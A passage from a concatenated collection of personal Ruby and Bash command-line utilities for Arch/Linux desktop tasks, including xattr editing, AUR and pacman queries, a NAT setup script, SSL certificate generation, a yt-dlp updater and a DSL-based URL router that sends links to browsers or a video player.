k[0..1] } # first 2 parts of the key grouped.each do |first_2_namespaces, attrs_in_namespace| primary_namespace = first_2_namespaces.first case primary_namespace when "security" a,b = 4,12 when "trusted" a,b = 5,13 when "user" a,b = 3,11 else a,b = 8,15 end puts " <#{a}>[<#{b}>#{first_2_namespaces.join('.')}<#{a}>]".colorize attrs_in_namespace.each do |attr, value| sub_namespace = attr[2..-1].join('.') puts " <9>#{sub_namespace}<8>: <7>#{value}".colorize end end puts else puts "<7>#{path.filename}\n <8>(none)\n".colorize end end ##################################################################################### def assert(expr, error_message) raise error_message unless expr end def paths_as_hashes(paths) paths.map do |path| # next if path.dir? { "filename" => (path.filename unless path.dir?), "dir" => path.dir, "mtime" => path.mtime, "size" => path.size, "xattrs" => path.xattrs, } end.compact end if $0 == __FILE__ unless Path.which("getfattr") puts "'getfattr' not found in path. Please install the 'attr' package" exit 1 end if ARGV.empty? or ARGV.any? { |opt| opt[/^-/] } opts = parse_options else opts = FakeOptions.new end paths = ARGV.map(&:to_Path) # TODO: constraints on arguments (eg: must supply exactly one file, mutually exclusive commands) # TODO: bult setting of url/referrer (create a YAML file with all the urls blank) # Copy attrs from one file to another if opts.copy? or opts.merge? assert paths.size == 2, "Must supply exactly two filenames: a source, and a destination." src, dest = paths if opts.merge? dest.attrs = dest.attrs.update(src.attrs) else dest.attrs = src.attrs end show(dest) # Set the URL or REFERRER or CUSTOM (set) attrs elsif opts.url? or opts.referrer? or opts.set? assert paths.size == 1, "Must supply exactly one filename." path = paths.first if opts.set? key, val = opts[:set].split("=", 2) key = "user.#{key}" unless key[/^user\./] puts "* Setting '#{key}' to '#{val}'" path[key] = val end if opts.url? path["user.xdg.origin.url"] = opts[:url] end if opts.referrer? path["user.xdg.referrer.url"] = opts[:referrer] end show path # EDIT or SHOW attrs else paths << Path.pwd if paths.empty? recurse = !(opts.directory? or opts.edit?) paths = paths.map do |path| if path.dir? and recurse # recurse dirs if opts.recursive? path.ls_r else path.ls end else # just show path path end end.flatten paths = paths.sort_by(&:mtime) if opts.time? if opts.yaml? puts YAML.dump(paths_as_hashes(paths)) elsif opts.json? puts JSON.pretty_generate(paths_as_hashes(paths)) else paths.each do |path| edit(path) if opts.edit? show(path, timestamp: true) end end end end ##################################################################################### <file_sep>#!/usr/bin/env ruby require 'epitools' args = ARGV.map(&:to_Path) if args.size != 1 puts "Usage: yank <symlinked file>" puts puts " Yanks a symlinked file." puts " (Replaces the symlink with its target, removing the original target.)" exit 1 end dest = Path[ARGV.first] src = dest.symlink_target dest.rm # remove symlink src.mv(dest) ls dest <file_sep>#!/usr/bin/env ruby require 'pry' require 'oga' require 'epitools/gem_ext/oga' if ARGV.size != 1 puts "usage: urlpry <url>" exit 1 end url = ARGV.first doc = Oga.parse_html(IO.popen(["curl", "-L", url], &:read)) doc.pry <file_sep>#!/usr/bin/env ruby require 'epitools' if ARGV.size < 1 puts "------------------------------------------------------------" puts " aur-deps" puts "------------------------------------------------------------" puts " List all the pacman packages that a binary needs." puts puts "Usage:" puts " aur-deps <binary>" exit end for arg in ARGV puts "-----------------------------------------------" puts " Package dependencies for <11>#{arg}</11>:".colorize puts "-----------------------------------------------" ldd = `ldd #{arg}` if ldd[/not a dynamic executable/] puts " Not a dynamic executable.".light_red puts next end for line in ldd.nice_lines line.strip! if line =~ /(\S+) => not found/ puts "<14>#{$1} <12>not found".colorize elsif line =~ /(\S+) => (\S+)/ libname, lib = $1, $2 owner = `pacman -Qo "#{lib}" 2>&1` if owner =~ /is owned by (\S+) (\S+)/ package, version = $1, $2 puts "<10>#{package} <2>#{version} <8>(<9>#{libname}<8>)".colorize else puts "<14>#{libname} <12>not in pacman database".colorize end end end puts end <file_sep>#!/usr/bin/env ruby require 'epitools' class Hash def alter!(key) self[key] = yield(self[key]) end end class PackageGraph def add(package) end def dep_tree(package) end end class Package attr_accessor :hash PACKAGE_FIELDS = [ "Provides", "Depends On", # "Optional Deps", "Required By", "Optional For", "Conflicts With", "Replaces", "Groups", ] DATE_FIELDS = ["Build Date", "Install Date"] def self.all return to_enum(:all) unless block_given? IO.popen("pacman -Qi", "r") do |io| io.each_line.split_at("\n").map do |lines| hash = lines.map { |l| l.split(": ", 2).map(&:strip) rescue nil }.reject {|a| a.size != 2 }.to_h yield new(hash) end end end def initialize(hash) # p hash["Optional Deps"] PACKAGE_FIELDS.each do |field| if hash[field] == "None" hash[field] = [] else hash.alter!(field) { |v| v.split.map { |vv| vv.split(/(>=|<=|>|<|=)/).first } } end end DATE_FIELDS.each do |field| hash.alter!(field) { |v| DateTime.parse(v) rescue nil } end hash.alter!("Installed Size") { |v| parse_size v } @hash = hash end SIZE_TABLE = { "B" => 1, "KiB" => 1024**1, "MiB" => 1024**2, "GiB" => 1024**3, "TiB" => 1024**4, } def parse_size(str) if str =~ /^(\d+\.\d+) (#{SIZE_TABLE.keys.join("|")})$/ ($1.to_f * SIZE_TABLE[$2]).round else raise "Error parsing size: #{str}" end end def [](key) @hash[key] end CONVENIENCE_METHODS = { "Name" => :name, "Installed Size" => :size, "Depends On" => :deps, "Required By" => :reverse_deps, "Replaces" => :replaces, "Provides" => :provides, "Install Date" => :installed, } CONVENIENCE_METHODS.each do |field, method_name| define_method(method_name) { @hash[field] } end def recursive_dep_size(visited=nil) visited ||= Set.new([self.name]) deps.map do |dep| total = dep.size unless visited.includes? dep.name total += dep.recursive_dep_size(visited) || 0 visited << dep.name end total end.sum || 0 end end def link_deps(packages) packages.each do |name, pkg| next if pkg.deps.first.is_a? Package pkg.hash.alter!("Depends On") do |v| v.map do |key| dep = packages[key] raise "wtf! #{key}" unless dep dep end end end end puts "* Parsing pacakges..." packages = [] package_lut = {} Package.all.each do |pkg| packages << pkg [pkg.name, *pkg.provides, *pkg.replaces].each { |name| package_lut[name] = pkg } end puts " |_ Done! (#{packages.size.commatize} packages found)" lesspipe(tail: true) do |less| packages.sort_by(&:size).each do |pkg| # puts "<9>#{pkg.name} <8>=> <11>#{pkg.size.commatize} <8>(<7>deps: <15>#{pkg.recursive_dep_size}<8>)".colorize less.puts "<9>#{pkg.name} <8>=> <11>#{pkg.size.commatize}".colorize end less.puts "----------------------------------------------" less.puts "<14>Total: <12>#{packages.sum_by(&:size).commatize}".colorize end ## TODO: Make this work # puts Term::Table.new(rows: packages.sort_by(&:size).map { |pkg| [pkg.name.light_blue, pkg.size.commatize.light_cyan] }) <file_sep>#!/usr/bin/env ruby require 'epitools/core_ext/file' if ARGV.empty? f = $stdin else f = open(ARGV.first) end f.reverse_each { |line| puts line } <file_sep>#!/bin/bash instl | grep -i $1 #instmon -L | grep -i $1 <file_sep>#!/usr/bin/env ruby require 'epitools' $stdout.sync = true prev_i = nil prev_time = nil prev_string = nil #system("clear") log = Path["netwatch.log"] IO.popen("ping bito").each do |line| if line =~ /icmp_req=(\d+)/ i = $1.to_i time = Time.now if prev_i and prev_time # how many packets did we miss since the last response? if i < prev_i dropped = (i+65535) - prev_i else dropped = i - prev_i end elapsed = time - prev_time # report dropped packets if dropped > 1 puts message = "<1>[#{time}] <15>#{dropped} <7>dropped <8>(<11>#{elapsed.round} <9>sec<8>)".colorize ###########\n".colorize log << message + " <7>-- <3>down since <11>#{prev_time.strftime("%H:%M:%S")}".colorize + "\n" puts message end print ("\b"*prev_string.size) if prev_string print print (prev_string = "[#{time}] req = #{i} ") end prev_i = i prev_time = time else puts line end end <file_sep>#!/bin/bash export PS1="\u@\h:\w\$ " <file_sep>#!/usr/bin/env ruby ############################################################ # # SomaFM XSPF Generator # ############################################################ require 'open-uri' require 'json' def pls_urls(pls) URI.open(pls).read.scan(/^File\d+=(.+)$/).flatten end puts "=========================================" puts " SomaFM Playlist Generator" puts "=========================================" puts puts "* Connecting to API..." json = JSON.parse(URI.open("https://api.somafm.com/channels.json").read) puts " |_ #{json["channels"].size} stations found" puts puts "* Writing stations to 'somafm.xspf'..." channels = json["channels"].sort_by { |ch| -ch["listeners"].to_i } outfile = open("somafm.xspf", "w") outfile << %{<?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/"> <title>SomaFM</title> <trackList> } channels.map do |ch| pls = ch["playlists"].first["url"] url = pls_urls(pls).first title = ch["title"] listeners = ch["listeners"] puts " |_ #{title} (#{url}) => #{listeners} listeners" outfile << %{ <track> <location>#{url}</location> <creator>#{title}</creator> </track> } end outfile << %{ </trackList> </playlist> } outfile.close puts puts "* Done!" <file_sep>#!/bin/bash pv "$@" <file_sep>load "#{__dir__}/../wict" def with_time(&block) start = Time.now result = block.call [result, Time.now-start].reverse end ensure_database! # stats q = %w[cliché] results = { bsearch: with_time { lookup_bsearch(q) }, grep: with_time { lookup_grep(q) }, look: with_time { lookup_look(q) }, } pp results<file_sep>#!/bin/bash lynx -dump whatismyip.org<file_sep>#!/bin/bash inxi -F 2>/dev/null || neofetch <file_sep>#!/bin/bash if [ $(uname -o) == Android ]; then termux-clipboard-get else xclip -o 2>/dev/null || xclip -o -selection clipboard 2>/dev/null fi <file_sep>#!/bin/bash for ff in `nvidia-smi -L|awk -F ':' '/:/{print $1}'|awk '{print $2}'`; do stmem=`nvidia-smi -i $ff -q -d MEMORY` stmem=`echo $stmem | awk '/[0-9]+ MB Used/{print $28}'` sttem=`nvidia-smi -i $ff -q -d TEMPERATURE | grep Gpu | awk '{print $3 $4}'` stutl=`nvidia-smi -i $ff -q -d UTILIZATION` stutl=`echo $stutl | awk '{print $23 $24}'` echo GPU $ff Memory: $stmem Mb Temperature: $sttem Utilization: $stutl done <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: shrt <url to shorten>" exit fi curl -F"shorten=$1" https://0x0.st <file_sep>#!/usr/bin/env ruby require 'epitools/colored' require 'epitools/core_ext/string' require 'open-uri' require 'oga' require 'ostruct' URL_ROOT = "https://aur.archlinux.org" SEARCH_URL = "#{URL_ROOT}/packages/?K=%s&O=0&SB=p&SO=d" def search(query) # io = open("aur.html") io = URI.open(SEARCH_URL % query) doc = Oga.parse_html(io) doc.css("table.results tbody tr").map do |row| name, version, votes, popularity, description, maintainer = row.css("td").map(&:text).map(&:strip) a = row.at_css("a.title") OpenStruct.new( name: name, version: version, votes: votes.to_i, popularity: popularity.to_f, description: description, maintainer: maintainer, flagged: row.css(".flagged").any?, url: "#{URL_ROOT}/packages/#{name}/", ) end end if ARGV.empty? puts "usage: rocksearch <query>" exit 1 end query = ARGV.join(" ") puts "<8>* <7>Searching for <15>#{query}<7>...".colorize results = search(query) results.sort_by! &:votes results.each do |r| puts "<15>#{r.name} <#{r.flagged ? 12 : 11}>#{r.version} <8>(<10>#{r.votes}<7>/<2>#{r.popularity}<8>)".colorize puts r.description.wrapdent(2).white # puts " <8>#{r.url}".colorize # puts " <8>maintained by: <7>#{r.maintainer}".colorize end <file_sep>#!/usr/bin/env ruby ########################################################################## ## cu: certutil util ########################################################################## require 'epitools' def title(s) msg = "<8>== <11>#{s} <8>#{"="*(100-s.size)}" puts puts msg.colorize puts end def usage cols = COMMANDS.map do |name, opts| cmdpart = name if optstr = opts[:options] optstr = optstr.join " " if optstr.is_a? Array cmdpart += " " + optstr end ["cu #{cmdpart}", "#{opts[:desc]}"] end table = Term::Table.new(cols) puts table.by_columns end # # Returns a string that looks like: # "-----BEGIN CERTIFICATE-----\n<cert>\n-----END CERTIFICATE-----" # def get_website_cert(host, port=nil) port = 443 if port.nil? or port.to_i == 80 `echo | openssl s_client -connect #{hostport} 2>&1 |sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'` end def import_cert(urlorfile) if urlorfile =~ %r{(.+\.(?:com|org|net|info|ca|de|uk))(:\d+)?} host, port = $1, $2 || "443" cert = get_website_cert(host, port) else path = Path[urlorfile] if path.url? cert = get_website_cert(path.host, path.port) elsif path.exists? cert = path.read end end p [:cert, cert] out = Path.tmpfile out << cert certutil "-A -t 'P,,' -n #{host} -i #{out}" # "certutil -d sql:$HOME/.pki/nssdb -A -t "P,," -n <certificate nickname> -i <certificate filename>" end COMMANDS = { "list" => { desc: "show all keys", action: proc do title "Private Keys" certutil "-K" title "Certificates" certutil "-L" end }, "modules" => { desc: "show all modules", action: proc do certutil "-U" end }, "add" => { desc: "add certificate to the database", options: "<url or file>", action: proc do |urlorfile| cert_for_url uri = URI.parse(urlorfile) if uri.path and not uri.host # import a file else # import a URL end certutil "-U" end } } def certutil(*args) if args.size == 1 and newargs = args.first.split and newargs.size > 0 args = newargs end cmd = ["certutil", "-d", "sql:#{ENV['HOME']}/.pki/nssdb"] + args system(*cmd) end if $0 == __FILE__ args = ARGV if args.empty? usage exit 1 end command_name = args.shift if opts = COMMANDS[command_name] puts "== #{opts[:desc]} ===" opts[:action].call(*args) else puts "Error: #{command_name} not found" end end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "Usage: nat <lan interface> <wan interface>" exit 1 fi LAN_IF=$1 WAN_IF=$2 echo "Setting up NAT..." echo " LAN: $LAN_IF" echo " WAN: $WAN_IF" echo echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o $WAN_IF -j MASQUERADE iptables -A FORWARD -i $WAN_IF -o $LAN_IF -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i $LAN_IF -o $WAN_IF -j ACCEPT <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage: make-tasks" echo "(run it in the directory with the Makefile to list all targets)" exit 1 fi echo "Make Targets:" echo "-------------" make -qp | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {split($1,A,/ /);for(i in A)print A[i]}' <file_sep>#!/bin/bash JOBS=4 if [ "$1" == "" ]; then echo "usage:" echo " gfv-parallel [options] <urls>" echo echo "purpose:" echo " Use youtube-dl to download videos in parallel by launching a tmux instance with" echo " $JOBS simultaneous instances, each running in its own pane." echo echo "options:" echo " -l <FILENAME> file containing a list of urls" exit 1 fi if [ "$1" == "-l" ]; then shift listfile="$1" shift parallel --fg --tmuxpane -j$JOBS -a "$listfile" gfv {} else parallel --fg --tmuxpane -j$JOBS gfv {} ::: "$@" fi <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: stripcomments <file>" exit 1 fi sed -i.bak "/^#/d;/^ *$/d" "$1" <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "FIXAUDIO v1.0" echo echo "Purpose:" echo " fixes 25fps speeded-up video by downscaling the audio to 24fps." echo echo "Usage:" echo " fixaudio <file.avi>" echo echo "Outputs:" echo " A fixed copy of 'file.avi' and backs up the original to 'file.avi.bad'." echo else echo "Fixing audio..." mencoder "$1" -o "$1.tmp" -speed 0.96 -oac mp3lame -lameopts cbr:br=128 -af resample=44100 -ovc copy mv "$1" "$1.bad" mv "$1.tmp" "$1" fi <file_sep>#!/usr/bin/env ruby ## TODOs: # * follow_redirect should never get into a loop (remember last url, and check that Location header is set) # * Add a clipboard option which automatically checks BOTH # primary and secondary clipboards for urls (preferring route matches if both # clipboards contain an url). # * Redirects/shorteners # |_ Log target of shortener, not shortener # |_ Notify user immediately, since they can be slow (via click noise or notify-send) # |_ Enhancement: Routing rules for shorteners which automatically does the above # * Config file ###################################################################################### # "web" router, by <NAME> (<EMAIL>) ###################################################################################### # Call this script on an URL to forward it to the appropriate application (using # routing rules). # # You can specify the rules in a Ruby DSL (documented in the "ROUTING RULES" section # below). The DSL provides advanced matching against the URL and all of its sub-parts # (scheme, host, port, path, query params, etc.) using Regexes or sets. # executed on the URL # send the URL to a specific browser if multiple are open (on a specific desktop), # or to a program. # # The configuration uses a DSL which allows for detailed matching on any part of an # URL, and full URL rewriting using plain old Ruby. # # Now you can have as many browsers open on as many desktops as you want, and you'll # never have to worry when clicking on a link that it'll go to the wrong one. ###################################################################################### ###################################################################################### # ROUTING RULES ###################################################################################### # # The behaviour of this script can be easily customized by editing the "routes" below. # # Each match is tried in order, and the first matching one will be executed. # You can do whatever you like in the match's block. # # (Calling "open_in_best_browser(url, BROWSERS)"" is the default behaviour.) # # Match rule examples: # match "site.com" # match /site\.com/ # match "site1.com", "site2.com", "site3.com" # match host: "site.com" # match host: /(site|othersite)\.com/ # match host: %w[site1.com site2.com], scheme: "https" # match ->(uri) { uri.host["site.com"] and Time.now.year == 2012 } # match params: "tracker" # match params: {enabled: 1} # match params: ["user", "age", "redirect_to"] # # The 'uri' object: # Each rule matches against Ruby's URI object, and when a match succeds, the block # is passed the URI object. # # For example, if your url is "https://site.com/path?query=yes", the URI object's # attributes are: # scheme = "https", # host = "site.com", # port = 443, # path = "/path", # query = "query=yes" # params = {"query" => "yes"} ###################################################################################### ###################################################################################### # .webrc (Local Config) ###################################################################################### # # You can add extra rules just for your specific machine by putting them in ~/.webrc. # # (The .webrc's contents are treated as regular Ruby code that are executed in the # context of the script.) # # Example .webrc: # # routes do # match host: "another-video-site.com", path: "/videos/", &play_video # match(host: "another-url-shortener.com") { |uri| route uri.follow_redirect } # end # ###################################################################################### # A list of browsers, which will be tried in order. PLAY = "#{__dir__}/play" BROWSERS = %w[qutebrowser qupzilla chromium chrome firefox opera vivaldi-bin netsurf dillo otter-browser xombrero midori jumanji] VIDEO_BROWSERS = %w[chrome chromium firefox opera] load_rc_file routes do default do |uri| open_in_best_browser uri end # Strip click trackers match(host: /google.\w{2,3}$/, path: "/url") { |uri| route uri.params["url"] || uri.params["q"] } match(host: /facebook\.com$/, path: "/l.php") { |uri| route uri.params["u"] } match(host: "duckduckgo.com", path: "/l/") { |uri| route uri.params["uddg"] } match(host: "youtube.com", path: "/attribution_link") { |uri| route "https://youtube.com#{uri.params["u"]}" } match(params: "fbclid") { |uri| route uri.without_params("fbclid") } # Resolve redirects match(host: %w[t.co bit.ly is.gd ow.ly buff.ly], &follow_redirect) # { |uri| route uri.follow_redirect } # Open videos in 'play' (using a standalone desktop video player) match host: %w[ustream.tv youtu.be liveleak.com wimp.com vimeo.com blip.tv twitch.tv exponential.singularityu.org dailymotion.com thoughtmaybe.com invidious.xyz], &play_video match host: "youtube.com", path: %r{^/(watch|embed)}, &play_video match(path: %r{^/(watch|embed)$}, params: "v") { |uri| route "https://youtu.be/#{uri.params["v"]}" } match(host: %r{^invidious}, path: %r{^/\w+}) { |uri| route "https://youtu.be/#{uri.path.gsub(%r{^/}, '')}" } match(host: %[yewtu.be]) { |uri| id = uri.params["v"] || uri.path; route "https://youtu.be/#{id}" } match path: %r{^/videos/watch/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}$}, &play_video # peertube match host: %w[facebook.com bigthink.com theguardian.com], path: %r{/videos?/}, &play_video match host: "media.ccc.de", path: %r{^/v/.+}, &play_video match host: "tiktok.com", path: %r{/video/}, &play_video match host: "ted.com", path: "/talks/", &play_video match host: "longnow.org", path: "/seminars/", &play_video match host: "c-span.org", path: "/video/", &play_video match host: "tvo.org", path: ["/programs/", "/video/", "/documentaries/"], &play_video match host: %w[bandcamp.com mixcloud.com], &play_video match host: "soundcloud.com", path: %r{^/[^/]+/.}, &play_video match path: /\.(mp4|mkv|m4v|f4v|webm|ogv|avi|flv|ts|mov|asf|mj?pe?g|vob|m4a|flac|mp3|ogg|aac)$/i, &play_video # Other videos open in browsers that are good at playing videos match host: %w[imgur.com twitch.tv justin.tv infoq.com] do |uri| open_in_best_browser uri, VIDEO_BROWSERS end end ###################################################################################### # Here's the actual program. (This gets executed before the "routes" command above.) BEGIN { # Escape from bundler's cage! if defined? Bundler old_warn_level = $VERBOSE $VERBOSE = nil # /usr/scripts/web:99:in `<main>': undefined method `preserve_gem_path' for Bundler:Module (NoMethodError) if Gem.post_reset_hooks.reject!{ |hook| hook.source_location.first =~ %r{/bundler/} } Bundler.preserve_gem_path Gem.clear_paths Gem::Specification.reset load 'rubygems/core_ext/kernel_require.rb' Kernel.module_eval do def gem(gem_name, *requirements) # :doc: skip_list = (ENV['GEM_SKIP'] || "").split(/:/) raise Gem::LoadError, "skipping #{gem_name}" if skip_list.include? gem_name spec = Gem::Dependency.new(gem_name, *requirements).to_spec spec.activate if spec end end end $VERBOSE = old_warn_level end gem 'epitools', '>= 0.5.131' require 'epitools/sys' require 'epitools/wm' require 'epitools/core_ext/misc' require 'epitools/core_ext/hash' require 'epitools/core_ext/object' require 'epitools/core_ext/uri' #################################################################################### def dmsg(msg=nil) if $debug msg = block_given? ? yield : msg $stderr.puts(msg.is_a?(String) ? msg : msg.inspect) end end #################################################################################### class URI::Generic # # Strip out params with blank values. # alias_method :old_params, :params def params old_params.reject { |k,v| v.blank? } end def path_with_query "#{path}&#{query}" end alias_method :fullpath, :path_with_query def with_params(*keys) with(query: params.select{|k,v| keys.include? k }.to_query) end def without_params(*keys) with(query: params.reject{|k,v| keys.include? k }.to_query) end def get require 'net/http' Net::HTTP.get_response(self) end # def get(headers={}, redirect_limit=10) # raise "Sorry, URI can't get from #{scheme.inspect} URIs yet" unless scheme =~ /^https?$/ # raise 'Too many HTTP redirections' if redirect_limit == 0 # # headers['User-Agent'] ||= USER_AGENT # # response = Net::HTTP.start(host, port) do |http| # # # the_path = path.empty? ? "/" : path # # req = Net::HTTP::Get.new(self, headers) # # http.request(req) # # end # response = Net::HTTP.get_response(self) # case response # when Net::HTTPSuccess # response # when Net::HTTPRedirection # # puts "redirect: #{response['location']}" # URI(response['location']).get(headers, redirect_limit-1) # else # response.error! # end # end def follow_redirect response = get if response.code_type < Net::HTTPRedirection puts "following redirect: #{self}" response["location"] else self end end def escaped CGI.escape to_s end # # Follow an URI's redirects and return the new URI (or the same URI, # if there were no redirects to follow.) # NOTE: Requires curl # # def follow_redirects(all: true) # # output = IO.popen(["curl", "-sLI", to_s]) { |io| io.read } # output = IO.popen(["curl", "-si", to_s]) { |io| io.read } # uri = self # output.each_line do |line| # if line.strip =~ /^location: (.+)$/i # # p line: line, match: $1 # uri = uri + $1 # break unless all # end # end # uri # end # alias_method :follow_redirect, :follow_redirects # def chase_redirects # require 'http' # current_url = self # loop do # response = ::HTTP.get(current_url) # break unless redirect = response.headers["Location"] # current_url = redirect # end # current_url # end end #################################################################################### # # Router DSL (rules in the "routes do" block are evaluated against this class instance) # class Router # debug :* def initialize @rules = [] @default = nil end ## Helpers def play_video proc { |uri| exec(PLAY, uri) } end def follow_redirect proc { |uri| route uri.follow_redirect } end alias_method :follow, :follow_redirect ## Rules # # Create a new rule # def match(*conditions, &block) @rules << [conditions, block] end # # Set the default action, if all other rules # def default(&block) @default = block end # # Pass an URL through the rules # def route!(uri, opts={}) # TODO: Figure out how to avoid infinite routing loops (has been an issue) uri = URI.parse(uri.gsub("[", "%5B").gsub("]", "%5D")) unless uri.is_a? URI # The default @default (sets it if it hasn't been set) @default ||= proc.new { open_in_best_browser uri } # URI.parse doesn't handle file:/// urls properly, so, as a quick fix, let's just bypass it... return @default.(uri) if uri.to_s[%r{^file://}i] # Try the rules until one matches @rules.each do |conditions, block| # NB: 'conditions' is the array of conditions that determine whether the match matches, and 'block' is what's executed if there's a match matched = conditions.any? do |condition| case condition when Hash # if a hash is supplied, all conditions must match (boolean AND) condition.all? do |key, val| # matching against params requires special logic if key == :params # match params against a hash/array/string case val when Hash # all the param names/values must match the hash keys/values (nb: the values can be regexps or arrays) val.all? do |k,v| param_value = uri.params[k.to_s] case v when Regexp param_value =~ v when Array # the param value must match something in the array v.include? param_value else # the param value must match the thing param_value == v.to_s end end when Array # all the param names in the array must be set (but the value doesn't matter) val.all? { |k| uri.params[k.to_s] } else # the param name must be set uri.params[val] end else case val when Array if key == :host # match the end of the domain val.any? { |v| uri.host&.match(/(^|\.)#{v}$/) } else val.any? { |v| uri.send(key)[v] } end when String, Regexp uri.send(key)&.[](val) else raise "Unknown match value: #{val.inspect}" end end end when Regexp, String uri.to_s[condition] when Proc condition.call(uri) else raise "Unknown match thing: #{condition.inspect}" end end if matched dmsg { require 'method_source'; "matched: #{block.source}" } return block.call(uri) end end # Otherwise, do the default action. @default.call(uri) end end def routes(&block) $router ||= Router.new $router.instance_eval &block end ###################################################################################### # # Type: :error, :info, :video # def notify(type, title, body, time: 5) require 'cgi' puts "[#{type}] #{title}" puts " #{body}" time_in_ms = time * 1000 cmd = ["notify-send"] cmd << "--expire-time=#{time_in_ms}" cmd << "--app-name=play" cmd << "--icon=#{type}" cmd += [title, body].map {|s| CGI.escapeHTML s } system *cmd end ###################################################################################### def load_rc_file rc = File.expand_path("~/.webrc") if File.exists? rc # $router.instance_eval File.read(rc) eval File.read(rc) end end def select_parents(query, &block) process = Sys.ps($$).first.parent parents = [] while process parents << process process = process.parent end block ||= proc { |process| process.command[query] } parents.select &block end def opened_by?(program) find_in_parents(program) end # # Takes `windows` (an array of windows), and `browsers` (an array of browser names, ordered by priority), and returns the windows which are preferred browsers # def find_browsers(windows, browsers) browsers.map do |browser_name| browser_window = windows.find do |w| next if w.command.nil? # Hack for Chrome's "Tabs Outliner" plugin next if browser_name.in?(["chrome", "chromium"]) and w.title == "Tabs Outliner" # Hack for ungoogled-chromium if browser_name == "chromium" and w.command == "/usr/l b/chromium/chromium" true else w.command.split.first[browser_name] end end [ browser_name, browser_window ] if browser_window end.compact end def best_browser_for(uri, browsers) # Group by browsers browsers_on_current_desktop = find_browsers(WM.current_desktop.windows, browsers) if browsers_on_current_desktop.any? browser_name, win = browsers_on_current_desktop.first # p [:activating_browser_on_current_desktop, win] elsif browsers_on_all_desktops = find_browsers(WM.windows, browsers) if browsers_on_all_desktops.any? browser_name, win = browsers_on_all_desktops.first # p [:activating_browser_on_other_desktop, win] end end [browser_name, win] end def to_clipboard(string) IO.popen("xclip -selection clipboard", "w") { |clip| clip << string } end def open_in_best_browser(uri, browsers=BROWSERS) name, browser = best_browser_for(uri, browsers) unless browser notify :error, "No browser!", "Couldn't open #{uri}\nNo suitable browser found on any desktop." exit 1 end puts "* Opening #{uri.inspect} in #{name} on #{browser.desktop.name}" case name when "xombrero" system("xombrero", "-n", uri) browser.activate! else to_clipboard(uri) browser.activate! browser.send_keys("<Ctrl-T><Ctrl-L><Ctrl-V>") sleep 0.2 browser.send_keys("<Ctrl-L><Return>") end end def which(bin) ENV["PATH"].split(":").each do |dir| path = File.join(dir, bin) return path if File.exists? path end end # # If the required binaries aren't in the path, tell the user, then terminate. # def ensure_required_binaries_are_in_the_path missing = false {"wmctrl"=>"wmctrl", "xse" => "xsendevent", "xclip" => "xclip"}.each do |bin, package| unless which(bin) puts "* '#{bin}' not found in path; please install the '#{package}' package." missing = true end end exit 1 if missing end LOGFILE = File.join(ENV["HOME"], "web.log") def write_to_log(url) open(LOGFILE, "a") do |f| timestamp = Time.now.strftime("%Y-%m-%d %H:%M:%S") f.puts "#{timestamp} | #{url}" end end def route(url, opts={}) $routing_history ||= [] if $routing_history.last == url puts "Error: Infinite routing loop detected!" puts puts "Steps:" ($routing_history + [url]).each_with_index do |u, i| puts "#{i+1}: #{u}" end exit 1 end $routing_history << url write_to_log url $router.route! url, opts end } if $0 == __FILE__ if ARGV.any? { |arg| arg == "--help" } puts "== Usage: ==" puts " web [options] <url>" puts puts "== What it Does: ==" puts " Opens the url in the best browser on the current desktop." puts " If there's no browser on the current desktop, it finds the" puts " best browser on the nearest desktop and jumps to that one." puts puts "== Options: ==" puts " -d Debug mode" # puts " -k Kodi mode ('-k' to toggle, '-k on' to enable, '-k off' to disable)" puts puts "== These are the browsers it will try to use (in order): ==" puts " #{BROWSERS.join(", ")}" puts exit end opts, args = ARGV.partition { |arg| arg[/^--?\w/] } $debug = opts.include?("-d") ensure_required_binaries_are_in_the_path if url = args.first # url = "http://#{url}" unless url[%r{^(https?|file|magnet)://}i] # slap an http:// on the argument if necessary route url, opts else puts "usage: web <url>" end end <file_sep>#!/usr/bin/env ruby require 'pathname' def msg(s) $stderr.puts "=== #{s} ========================" end scripts = Pathname.new(__dir__) ydu = scripts/"ydu" src = scripts/"src" yd_link = scripts/"youtube-dl" yd_dir = src/"yt-dlp" yd_main = yd_dir/"yt_dlp"/"__main__.py" yd_repo = "https://github.com/yt-dlp/yt-dlp" #yd_dir = src/"youtube-dl" #yd_main = yd_dir/"youtube_dl"/"__main__.py" #yd_repo = "https://github.com/ytdl-org/youtube-dl.git" # yd_dir = src/"yt-dlc" # yd_repo = "https://github.com/blackjack4494/yt-dlc.git" # yd_main = src/"yt-dlc"/"youtube_dlc"/"__main__.py" # yd_repo = "https://source.netsyms.com/Mirrors/youtube-dl.git" # yd_repo = "https://gitea.datahoarding.agency/ZenulAbidin/youtube-dl.git" # yd_repo = "https://github.com/l1ving/youtube-dl.git" # yd_repo = "https://gitlab.com/PoroCYon/youtube-dl.git" unless src.exist? msg "making #{src}" src.mkdir end if yd_dir.exist? msg "updating" Dir.chdir(yd_dir) system("git", "pull") else msg "cloning" system("git", "clone", "--depth=1", yd_repo, yd_dir.to_s) end yd_link.unlink if yd_link.file? and not yd_link.symlink? if not yd_link.exist? or yd_link.realpath != yd_main msg "fixing symlink" yd_link.unlink if yd_link.exist? or (not yd_link.exist? and yd_link.symlink?) yd_link.make_symlink(yd_main) puts "#{yd_link} => #{yd_link.realpath}" # msg "running youtube-dl" # exec("youtube-dl", *ARGV) end yd_main.chmod(0755) unless yd_main.executable? <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: ssl-cert-gen <file basename> <bits>" exit 1 fi # [ "$UID" = "0" ] || exec sudo $0 $@ ID="$1" if [ "$2" == "" ]; then BITS=2048 else BITS=$2 fi openssl genrsa -out $ID.key $BITS openssl req -new -key $ID.key -x509 -days 4653 -out $ID.crt cat $ID.key $ID.crt > $ID.pem chmod 600 $ID.key $ID.pem <file_sep>#!/bin/bash sudoifnotroot apt-get remove $* <file_sep>#!/usr/bin/env ruby CACHETAG = %{Signature: 8a477f597d28d172789f06886806bc55 # This file is a cache directory tag created by 